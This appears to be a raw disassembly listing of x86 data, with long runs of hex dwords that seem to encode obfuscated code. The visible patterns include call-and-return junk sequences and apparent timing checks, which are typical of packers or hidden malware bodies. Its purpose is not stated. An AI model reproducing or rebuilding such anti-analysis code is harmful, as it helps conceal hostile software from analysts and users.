		dd 0A7167C3h, 81765225h, 6814A8E7h, 30D3684Ah, 481DECEh
		dd 50D32C24h, 53006A21h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1D04h, 0C3534300h, 0A58BA6D3h, 0A770987Bh, 81663ED2h
		dd 33D604D7h, 0D3338DBDh, 8195FF07h, 6607D319h,	0CF53DB81h
		dd 4EC28589h, 8B6607DCh, 17BE9F8h, 9D8B0000h, 7D32651h
		dd 0EE9h, 8F58E100h, 86170525h,	2845F40Bh, 8B6ADF1Eh, 0DC4EBA85h
		dd 68A0F07h, 50000000h,	0F5CFBF66h, 1800C75Bh, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 17042444h
		dd 42000000h, 0A5A0C352h, 0BD8B2F62h, 7D30241h,	0AE98589h
		dd 0B58B07D3h, 7DC4EBEh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 1Bh, 94C35040h, 17E46398h,	0FC44754Fh, 16FD858Bh
		dd 8B6607D3h, 330689FBh, 0D33021BDh, 0C1858B07h, 6A07D314h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0FCB2C350h, 7D6A2CFFh, 96771284h,	6A044689h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 4063C351h, 8143CF37h, 5B750A5h, 6A243489h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 18042444h
		dd 40000000h, 0EACAC350h, 0FFE9615Ah, 0DC4EBAB5h, 0D9B70F07h
		dd 0ADF72C68h, 240481ADh, 52710CD3h, 718D2960h,	107D317h
		dd 0D333A1BDh, 858D6107h, 7DC4EC2h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 18h, 16C35040h, 0A17FBE96h, 33519D09h
		dd 958907D3h, 7D31759h,	0BB905090h, 26879602h, 198195FFh
		dd 0E9BB07D3h, 89192BCDh, 0D30B85BDh, 6A6107h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 0AF8FE2C3h, 331185C7h, 307D3h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 590111C3h
		dd 8712B43Bh, 0C2BD8310h, 7DC4Eh, 31840Fh, 0F510000h, 0E95BF8B7h
		dd 42h,	0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch
		dd 8BC35545h, 8F72FB69h, 0D03DA1BFh, 50D98B66h,	110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 6AC08Bh, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h
		dd 0BD8BA6C3h, 7D309A9h, 0E851006Ah, 3,	59C35920h, 4244C89h
		dd 4244481h, 19h, 95C35141h, 0A0D26940h, 0BD83FC22h, 7D33311h
		dd 0B850F03h, 6A000004h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 3162C356h, 0BD8348D7h
		dd 7DC4EC2h, 0DF840F00h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 2BFAC351h
		dd 0F4B79FE4h, 4EC2B5FFh, 858907DCh, 7D33399h, 25F995FFh
		dd 0CF8107D3h, 6782B9ABh, 4EB6B58Bh, 0C7F507DCh, 1000106h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1404h
		dd 0C3514100h, 0F5BD01FEh, 9607D32Eh, 0F8C0Fh, 0AE90000h
		dd 6F000000h, 53575014h, 35AB9B73h, 10E850EFh, 0D9000000h
		dd 9FC3869Fh, 7C6AE5C0h, 0E3E08104h, 8B24A622h,	8B965FF8h
		dd 0C2B5FFD8h, 6A07DC4Eh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 9116C350h, 0EE8B698h
		dd 0D3000000h, 55AD9032h, 0B316436Eh, 0D0494A65h, 0DBD8BE5h
		dd 5F07D317h, 155D8D29h, 95FF07D3h, 7D31591h, 809BD8Bh
		dd 816607D3h, 8B42D5C7h, 0DC4EB6B5h, 8B7DB307h,	0D3031185h
		dd 51006A07h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1B04h
		dd 0C3514100h, 42419191h, 0F78E9C40h, 89DE8B66h, 0C486h
		dd 6840F00h, 29000000h,	0D32FB195h, 41958B07h, 6A07D329h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 21E1C356h, 0B7D2C97Dh, 4C28333h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ch, 0E0C35242h, 5CC606C6h
		dd 88612B0Dh, 0BE8h, 74739E00h,	0A2B22F52h, 198926Eh, 10E9h
		dd 0F1C7DA00h, 31BC2554h, 6212D169h, 0A73FC3E6h, 89F55B8Bh
		dd 0C1BB2050h, 8D2D78F3h, 0DC618185h, 8689FC07h, 0B8h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 9EC35646h
		dd 76641EFFh, 425A55F1h, 6A45B7h, 0A476EF81h, 0B5FF5A50h
		dd 7DC4EC2h, 0AE9h, 23F47900h, 4BE7008Bh, 899E7E6Ch, 0D317618Dh
		dd 9995FF07h, 6607D315h, 5096D88Bh, 0DBB75252h,	60310F5Bh
		dd 0E614BF66h, 12E9h, 949DA600h, 22F9C858h, 0D5587794h
		dd 8914963Ch, 61FE0E23h, 6050585Ah, 310F5250h, 0D4850BBBh
		dd 52585A7Eh, 810Fh, 61590000h,	8D858996h, 0FF07D309h
		dd 0DC4EC2B5h, 52006A07h, 3E8h,	0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 0C67FEDFAh, 8279D4Bh
		dd 0F609AE4h, 1081h, 0BE900h, 0D080000h, 3F2AF7FFh, 0F87AEFC4h
		dd 619BB1BCh, 302595FFh, 0BF6607D3h, 0BD83F896h, 7D316E9h
		dd 32840F00h, 89000000h, 0D32FF595h, 0F98B5007h, 6A243489h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 18042444h
		dd 46000000h, 1585C356h, 89A520EDh, 0D32B599Dh,	0C2B5FF07h
		dd 8907DC4Eh, 0D30005BDh, 1595FF07h, 6A07D312h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1A042444h, 42000000h
		dd 41D3C352h, 0B8E717ACh, 138C0F08h, 0E9000000h, 0Eh, 77BAD763h
		dd 0B2D9A4AEh, 9D6F14BCh, 0B5FFDB63h, 7DC4EC2h,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 8DC35747h, 95FFFCB4h
		dd 7D3324Dh, 0BD835F56h, 7D31341h, 63840F02h, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 18042444h
		dd 41000000h, 23DCC351h, 0FA9C0B3h, 88Ah, 2890F00h, 51000000h
		dd 7D858B5Fh, 6A07D334h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 19042444h, 41000000h, 5D69C351h, 1BF24695h
		dd 29D18589h, 0C607D3h,	5F8BBB00h, 85C7587Dh, 7D30651h
		dd 0
		dd 68D7F781h, 0D8E92DDAh, 6AFFFFF3h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0B592C357h
		dd 0C18B0D92h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 14h,	0AAC35343h, 0F1ABF781h,	858D7E6Ah, 7D31C71h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Dh, 26C35040h, 917E8919h
		dd 0A4461F30h, 0CE871h,	80F60000h, 0C58D8ABh, 0B8403E7Eh
		dd 0B589ACCBh, 7D323ADh, 820F505Bh, 2, 48977B3h, 0DA8B6624h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 190424h
		dd 52420000h, 0B11364C3h, 80666047h, 6A82EFh, 17A58D89h
		dd 858D07D3h, 7DDAB67h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 15h, 0D1C35040h, 0DF8166A4h, 0BB66B07Bh, 0C083AE52h
		dd 53006A05h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 0C5E17C1Dh, 8B66F5A5h, 50DE8AFBh, 89D98B66h
		dd 6A2404h, 599FC381h, 6A79FEh,	0C0DBD8Bh, 816607D3h, 0FFF622E7h
		dd 0D32F4D95h, 8CBF6607h, 0B08D8D40h, 6607DC29h, 4FDDEF81h
		dd 0BD8BD1FFh, 7D333E5h, 0BE20BF66h, 3255BD83h,	0F0107D3h
		dd 0AB85h, 39858900h, 6A07D303h, 53006A02h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 1514D235h
		dd 60B1CE66h, 4654BB66h, 61D78B66h, 12E890h, 0ACDC0000h
		dd 34C35560h, 2FE4FB4Bh, 1D438B54h, 0B3AA3A1Eh,	505FFB8Bh
		dd 28E0Fh, 5B510000h, 50006A90h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1804h, 0C3504000h, 0BF506CE5h, 9D0B51B8h
		dd 7D30B09h, 0FFDEB75Fh, 0D3159995h, 55006A07h,	3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 23CCE8B9h
		dd 0CF5C2823h, 0E5AE9h,	0E800h,	815D0000h, 0DDAB71EDh
		dd 6E907h, 0E6610000h, 2B12D040h, 9B9BD03h, 858D07D3h
		dd 7DC195Ch, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 18h,	8CC35141h, 1FFD3DDCh, 1EB18589h, 519007D3h, 0BE8h
		dd 0D31B800h, 755002AEh, 0F6CE65EFh, 8A0Fh, 5B5F0000h
		dd 0E9525050h, 12h, 881A20FCh, 48052C30h, 0AB6B584Dh, 59152925h
		dd 310F0777h, 61C28B60h, 2990585Ah, 0D3316D95h,	35FF6407h
		dd 0
aFbTndi		db 'fNd%',0
		align 4
		dd 0EE8h, 2D1F900h, 8DD969C9h, 0FE765B77h, 522C7336h, 10E8h
		dd 0DA02300h, 0CD3F69A7h, 338DDDA6h, 0BB1FFB34h, 5B5F5B73h
		dd 2CCD85FFh, 6A07D3h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 1C0424h, 57470000h, 34D1B3C3h, 0FE2F2E91h, 0FF6AEFCDh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 28C35242h
		dd 0D772FDDh, 0FFDABF0Fh, 0D308BDB5h, 53006A07h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1C04h, 0C3534300h
		dd 5D78039Fh, 4C50E32Eh, 0FFDA8B19h, 0D3181995h, 122E907h
		dd 890F0000h, 6, 1BE59D89h, 0B007D3h, 0A158589h, 0CB8107D3h
		dd 371F9EC4h, 0B52970E6h, 7D30319h, 613C71E4h, 0F6830Fh
		dd 0C4BB0000h, 0F20B352h, 6652C8B6h, 79ADD781h,	6BA5Fh
		dd 8D310000h, 7D32BF9h,	2D9D2960h, 3107D30Eh, 0D3242D95h
		dd 0C18B6107h, 12E9h, 1F9A0800h, 0F68A2B00h, 0FC06CC5Dh
		dd 6CE9C0F3h, 0C16B9F14h, 0B58904E8h, 7D3025Dh,	2BE2F766h
		dd 0D31AB5BDh, 9C82B07h, 0D31C29B5h, 0FD18B07h,	686h, 3D9D8B00h
		dd 0BB07D30Dh, 5F3D2220h, 83E9h, 31BD3300h, 8B07D314h
		dd 5F4C4C85h, 0FABF0F50h, 8B07C083h, 0D3270D9Dh, 0C08307h
		dd 0DE9h, 9C5F1E00h, 7349FF7Fh,	9793F4A9h, 0D03BE945h
		dd 10830Fh, 34BB0000h, 0E9617CF2h, 44h,	60DB589h, 8D8B07D3h
		dd 0FFFFFFFFh, 2085BD8Bh, 0E18307D3h, 29840F01h, 8B000000h
		dd 0D32B019Dh, 9D896007h, 7D31A01h, 0A58361F8h,	0FFFFFFFFh
		dd 0CDDDBFFEh, 95894E8Ah, 505F4C4Ch, 0E9D98B66h, 0
aNJ_0		db '+',7,'j',0
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 180424h, 53430000h
		dd 8CC0B0C3h, 29606790h, 0D3296595h, 0C78B6607h, 8B006A61h
		dd 0D32E819Dh, 95FFFC07h, 7D33019h, 0E853006Ah,	3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 4FC35343h, 29653A7Bh, 0D320198Dh
		dd 619D8B07h, 0B907D323h, 1022h, 0E851006Ah, 3,	59C35920h
		dd 4244C89h, 4244481h, 18h, 0C8C35141h,	8C30A825h, 4800Fh
		dd 0BB660000h, 8D31BF89h, 7D31F8Dh, 6AFCE183h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 18042444h, 43000000h
		dd 4DE8C353h, 0F5ADF778h, 56006AFCh, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0BFD5AD10h
		dd 1420F6D7h, 6AC02Bh, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 160424h, 52420000h, 0FD98BC3h, 0B4D78166h, 6AD22BEAh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1C042444h
		dd 45000000h, 9B5CC355h, 0D48170C2h, 0AD72AD47h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 18042444h, 45000000h, 557FC355h, 66C9AF78h
		dd 2C41EF81h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 1Bh,	30C35040h, 0DC748509h, 6056B805h, 0B558589h, 14E907D3h
		dd 0E5000000h, 8F2FE51Fh, 0ECAE0F92h, 1856411Dh, 22118253h
		dd 613ECFFCh, 36DB8166h, 8FF38149h, 0D7941A2h, 88h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 45C35141h, 71C78166h
		dd 148E0F07h, 0E8000000h, 0Eh, 9993F6D8h, 6A3016AEh, 0CB5E3799h
		dd 8B5B97DAh, 0D3294195h, 56006A07h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1904h,	0C3564600h, 5B395D25h
		dd 0BD8B2A60h, 7D32445h, 8BFFBF0Fh, 0D32BA18Dh,	8B50FC07h
		dd 3188BC2h, 8B188BC1h,	3E8D1C1h, 58188BC2h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 70C35646h, 8D29BE21h
		dd 7D32619h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 18h,	0B5C35343h, 12631EA4h, 0C6D8589h, 8D8907D3h, 7D320C1h
		dd 891BD83h, 0F0007D3h,	0BF84h,	55006A00h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 0B8DC31h, 6A000000h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 0E614C352h, 0BD9B4DDDh, 0C1833724h, 8DFBB70Fh
		dd 0D34DB18Dh, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 44128B25h, 167CDE6h, 11E858D7h
		dd 69000000h, 0AEAD4BB6h, 5D2B79E2h, 0DA1E3DEFh, 0A27FA9ECh
		dd 7619D89h, 0FF5B07D3h, 52006AE1h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1D04h, 0C3524200h, 224C83D4h, 20C07429h
		dd 0B589B8FEh, 7D31C2Dh, 3311BD83h, 0F0007D3h, 45384h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 11BD8337h, 107D333h, 445840Fh, 8D090000h
		dd 7D325D1h, 3311BD83h,	0F0307D3h, 3FC86h, 6060F500h, 11E9F8h
		dd 6CB50000h, 0A8E42640h, 0E5617ED9h, 4462B871h, 61BF38B6h
		dd 0A440E6BFh, 0D98C663Eh, 0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Bh, 69C35242h, 0F6A5AC8Fh, 80CD9FE6h, 6A04E1h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1B0424h, 52420000h
		dd 63C403C3h, 4C4F9870h, 2840F4Eh, 8B000000h, 0AFDB3FEh
		dd 44840FC9h, 0E8000001h, 7, 571CF8DAh,	664B007Fh, 8B5BFB8Bh
		dd 0D314C185h, 8D952907h, 3307D324h, 0D31FF185h, 0E7816607h
		dd 0E850C725h, 7, 0F20BD415h, 0E9C44A2Eh, 0Dh, 1E3F2445h
		dd 64B19E24h, 937735C3h, 4895B08h, 3DBD8B24h, 6A07D325h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 71BDD6AFh, 0F688E060h, 1AB18D89h, 4E807D3h
		dd 0FF000000h, 0BF001F03h, 585E1A46h, 24448B50h, 0DE8B6604h
		dd 5250008Bh, 6E860h, 0B2930000h, 183F79Eh, 0EEBA665Eh
		dd 310F6146h, 0F88B5250h, 5F50310Fh, 585A585Ah,	4244489h
		dd 58FA8B66h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 17h,	0ECC35040h, 661F510Eh, 0FF63EBBBh, 0D3198195h
		dd 0D581BB07h, 8589697Ah, 7DC4EC2h, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Dh, 0CAC35747h,	345E36F3h, 2ADE16E4h
		dd 3BE38160h, 0E9687D03h, 1D4h,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Bh, 2FC35343h, 0D27A89FDh, 8B776713h
		dd 0DC4EBA85h, 56006A07h, 3E8h,	0C35E2000h, 2474895Eh
		dd 24448104h, 1B04h, 0C3564600h, 0A853FEDDh, 0F1C2A27Eh
		dd 0D839C781h, 0C773DBh, 18h, 16D59D03h, 0B58B07D3h, 7DC4EBEh
		dd 0B88C781h, 858B430Fh, 7D316FDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 9DC35040h, 7D53C9BCh, 95892433h
		dd 7D3089Dh, 0B70F0689h, 5E9F8h, 8C440000h, 8B8220D4h
		dd 0D314C185h, 55006A07h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 0BD89DF3Eh, 7D32B11h
		dd 8A044689h, 8A5796DAh, 0F505BF9h, 1989h, 14E900h, 0D2180000h
		dd 0B9A3F4F9h, 82EED422h, 0EB187EDEh, 0B9696939h, 6A962838h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 45BBC352h, 1F3FABB5h, 0C2218C9Fh,	0FFDEBF0Fh
		dd 0DC4EBAB5h, 0DB816607h, 0D768CADFh, 0E940FD0Dh, 11h
		dd 42E7D104h, 0B100E5F6h, 0DAE44856h, 43FBC84Ah, 2434810Dh
		dd 40E20E28h, 9E9h, 18DC3900h, 25B494E9h, 858D44DCh, 7DC4EC2h
		dd 0CE9h, 0F607A600h, 0D5E2190h, 25F34F05h, 5052B3E1h
		dd 0BE86053h, 2D000000h, 9DC549D9h, 0B5632F1h, 0B65EE4A4h
		dd 895F6166h, 6A2404h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0CA72AC3h, 0CE83Fh, 0A6330000h
		dd 416DBFEBh, 99EE8D86h, 860F8033h, 1, 95FF5FF5h, 7D31981h
		dd 6B21BF66h, 52006A61h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1B04h, 0C3524200h, 41976F6Eh, 0F36C4E08h, 30F19D8Bh
		dd 0BE807D3h, 51000000h, 2E70A987h, 7E66C5D8h, 0C781C0D0h
		dd 3D94AE8h, 1185C75Bh,	307D333h, 33000000h, 0D329319Dh
		dd 0C2BD8307h, 7DC4Eh, 2B840Fh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1B0424h, 50400000h, 7E9124C3h
		dd 44A6C2E9h, 0E9DE8BAAh, 1Ch, 0C3050F5h, 11440011h, 10E8C101h
		dd 2114430h, 3114C00h, 4E98358h, 36EBE775h, 11043050h
		dd 1116400h, 3010E8C1h,	21144h,	58031164h, 7504E983h, 501BEBE7h
		dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
		dd 0E77504E9h, 0C08B00EBh, 5D858B60h, 6607D313h, 252AE781h
		dd 11BD8361h, 307D333h,	3B1850Fh
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 895077C3h, 0D3035DBDh, 0BD835F07h, 7DC4EC2h
		dd 80840F00h, 29000003h, 0D325E595h, 0C2B5FF07h, 6607DC4Eh
		dd 0FFA30DBFh, 0D325F995h, 6890F07h, 89000000h,	0D30E6195h
		dd 0B6B58B07h, 6A07DC4Eh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 14042444h, 43000000h, 8979C353h, 0D327219Dh
		dd 0DD9D2907h, 0C707D30Ah, 1000106h, 3DBD8900h,	5007D32Bh
		dd 3E38FCBBh, 24348970h, 0E852006Ah, 3,	5AC35A20h, 4245489h
		dd 4244481h, 1Ch, 0FCC35242h, 0ED572A5Fh, 756B429Ah, 37C28160h
		dd 0F12EC0Dh, 361F9B7h,	0D32B95BDh, 0C2B5FF07h,	8B07DC4Eh
		dd 0D31C699Dh, 0C3816607h, 95FF0AB9h, 7D31591h,	138E0Fh
		dd 0EE90000h, 38000000h, 0A127EC58h, 0A0723295h, 765D9082h
		dd 0B6B58BB8h, 6A07DC4Eh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1C042444h, 47000000h, 7942C357h, 5CF1DFCBh
		dd 8B1A5826h, 0D3031185h, 25952907h, 8907D30Eh,	0D3236185h
		dd 0C4868907h, 0E8000000h, 0Fh,	7F7B282h, 35504231h, 0B8BE3986h
		dd 8B92D3A9h, 0D32459BDh, 958B5B07h, 7D32941h, 9E9h, 0FB78C100h
		dd 74AB0C93h, 0C283F56Ah, 0A622BF04h, 50893D3Ah, 81858D20h
		dd 6A07DC61h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 18042444h, 47000000h, 12D9C357h, 0FC0CE4BAh,	0B88689h
		dd 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 8100A9C3h, 0C44123EFh, 6AF847h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 70C35545h, 8D8B601Ah
		dd 7D334C5h, 61FB8B66h,	4EC2B5FFh, 6A07DCh, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 170424h, 50400000h, 304E84C3h
		dd 0DE8B6632h, 159995FFh, 0B58907D3h, 7D30615h,	56B35296h
		dd 5250505Fh, 66616060h, 610210BBh, 890F310Fh, 0Dh, 7E8h
		dd 3FFF8500h, 3D80D803h, 96585A5Bh, 11E9h, 1800B600h, 0D129D9CDh
		dd 99704A52h, 7940855Dh, 0B5FF28B9h, 7DC4EC2h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 14h, 14C35242h, 0FFF9B70Fh
		dd 0D3302595h, 53006A07h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1A04h, 0C3534300h, 1DDC6C11h, 0E987C071h
		dd 12h,	2622632Eh, 0D631D376h, 4F4E3D9Fh, 0E305A9A2h, 0BD83C631h
		dd 7D316E9h, 25840F00h,	8B000000h, 0D307B1BDh, 13E95007h
		dd 74000000h, 0C52E477Fh, 0C413C97Ch, 21BBA73h,	0F5B5073Bh
		dd 34893F83h, 0FEB70F24h, 4EC2B5FFh, 6A07DCh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 90A885C3h
		dd 1595FF63h, 6007D312h, 2031BD89h, 61F507D3h, 4EC2B5FFh
		dd 8B0F07DCh, 8, 66D38B60h, 61EF71BBh, 324D95FFh, 0BD8307D3h
		dd 7D31341h, 4D840F02h,	60000000h, 0C899D01h, 8B6007D3h
		dd 0D30E41BDh, 319D8907h, 6107D30Fh, 7D858B61h,	6A07D334h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 1A042444h
		dd 45000000h, 1DADC355h, 0ACE58AD8h, 0B185893Bh, 0C607D302h
		dd 820F0000h, 0
		dd 65185C7h, 7D3h, 25BF0000h, 0E975AE6Bh, 0FFFFF2C2h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 1EC35141h, 8BF9BF0Fh
		dd 218589C1h, 8D07D327h, 0D31C7185h, 0DEBF0F07h, 0A3ABF90h
		dd 0E950131Fh, 11h, 4D1FFD3Dh, 72580E55h, 0AECD379Eh, 6E7F85C2h
		dd 6A9045h, 0E850006Ah,	3, 58C35820h, 4244489h,	4244481h
		dd 1Dh,	0A6C35040h, 558D77AFh, 0B8A7E6CEh, 3D9D8948h, 6A07D326h
		dd 0ADB53100h, 8D07D31Ah, 0DDBB7085h, 56006A07h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
		dd 0EF26CDBFh, 81146E4Ch, 0FE8B8290h, 5005C083h, 9240489h
		dd 0D30C4195h, 81006A07h, 0C89E98EBh, 999D890Fh, 6A07D302h
		dd 57006A00h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1504h
		dd 0C3574700h, 890FFD92h, 5, 0AD2339BBh, 159D030Ch, 2907D318h
		dd 0D3304D95h, 4D95FF07h, 8B07D32Fh, 0D30F3DBDh, 0B08D8D07h
		dd 6A07DC29h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 16042444h, 43000000h, 8EF3C353h, 8585897Ch, 0FF07D32Bh
		dd 56006AD1h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1B04h
		dd 0C3564600h, 0AF89788Fh, 1D093850h, 1A11BD8Bh, 0BD8307D3h
		dd 7D33255h, 62850F01h,	53000000h, 0FD8A5FFCh, 8D89026Ah
		dd 7D3300Dh, 895B5750h,	6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 0BC068CC3h, 0E8816660h
		dd 0FF61393Ah, 0D3159995h, 50006A07h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1704h,	0C3504000h, 66D76F2Eh
		dd 66F4F2BBh, 0BD2E967h, 0E80000h, 5D000000h, 0BB7AED81h
		dd 0F88A07DDh, 9E9h, 1FB37000h,	0C90613E3h, 858D87B5h
		dd 7DC195Ch, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 1Ch,	0E5C35242h, 9F4D9940h, 9569DDEAh, 0EE98531h, 895007D3h
		dd 8D892404h, 7D30045h,	35FF64h, 81000000h, 0C409F3DBh
		dd 25896462h, 0
		dd 26F18509h, 85FF07D3h, 7D32CCDh, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 57C35040h, 0F0E45EAh, 0FF6ADFB7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0AEC35646h
		dd 8E9F5D4h, 2C000000h,	8FE1663Eh, 0F58176B4h, 1A79B5FFh
		dd 6A07D3h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 1A0424h
		dd 56460000h, 0B05F22C3h, 0D32FF96Fh, 181995FFh, 17E907D3h
		dd 80000001h, 5DBBACE7h, 0B0563501h, 0AE800h, 0F59B0000h
		dd 54BAE289h, 8A69A8D4h, 5FD98B66h, 6E970E6h, 4F000000h
		dd 0A19CC92Fh, 8B71E4FCh, 0D31EE99Dh, 0F613C07h, 0DD83h
		dd 68C0F00h, 8B000000h,	0D32619BDh, 0C8B60F07h,	72E8EF81h
		dd 6BA6CC2h, 8B000000h,	0D32A6DBDh, 0BBC18B07h,	65AB5CE6h
		dd 0F04E8C1h, 0F766DEBFh, 0F38166E2h, 0C82B1E1Fh, 0C88B6660h
		dd 0FD18B61h, 97E9F8BFh, 51000000h, 1B9DBD8Bh, 8B5B07D3h
		dd 47554C85h, 15BD8B49h, 8907D306h, 0D31B1985h,	7C08307h
		dd 0C083F5h, 0D03BFA8Bh, 2B830Fh, 14E80000h, 0CA000000h
		dd 0B479E519h, 82E01A88h, 0A5B0F550h, 853B38F2h, 8BEC209Eh
		dd 0D32051BDh, 47E95B07h, 89000000h, 0D31AD9BDh, 0FF8D8B07h
		dd 89FFFFFFh, 0D30E5995h, 0E183F907h, 2B840F01h, 29000000h
		dd 0D31D9185h, 0FFA58307h, 0FEFFFFFFh, 7E8h, 0C9482100h
		dd 954DDFB7h, 4C95895Bh, 89494755h, 0D3067595h,	0E907h
		dd 0B58D0000h, 7DD3BEFh, 6AF5F9h, 0FCEB8166h, 1995FFF5h
		dd 0B07D330h, 0D3294D9Dh, 0F7816607h, 96B93FC1h, 8300000Fh
		dd 0F850FCE1h, 9E9FC5Bh, 44000000h, 9235220h, 0D1492DC6h
		dd 0B8h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1A04h, 0C3514100h, 25392F7Fh, 8908288Fh, 0D3147995h
		dd 11E807h, 55B0000h, 52DCEB8Dh, 6D5BE4A7h, 61A1BB25h
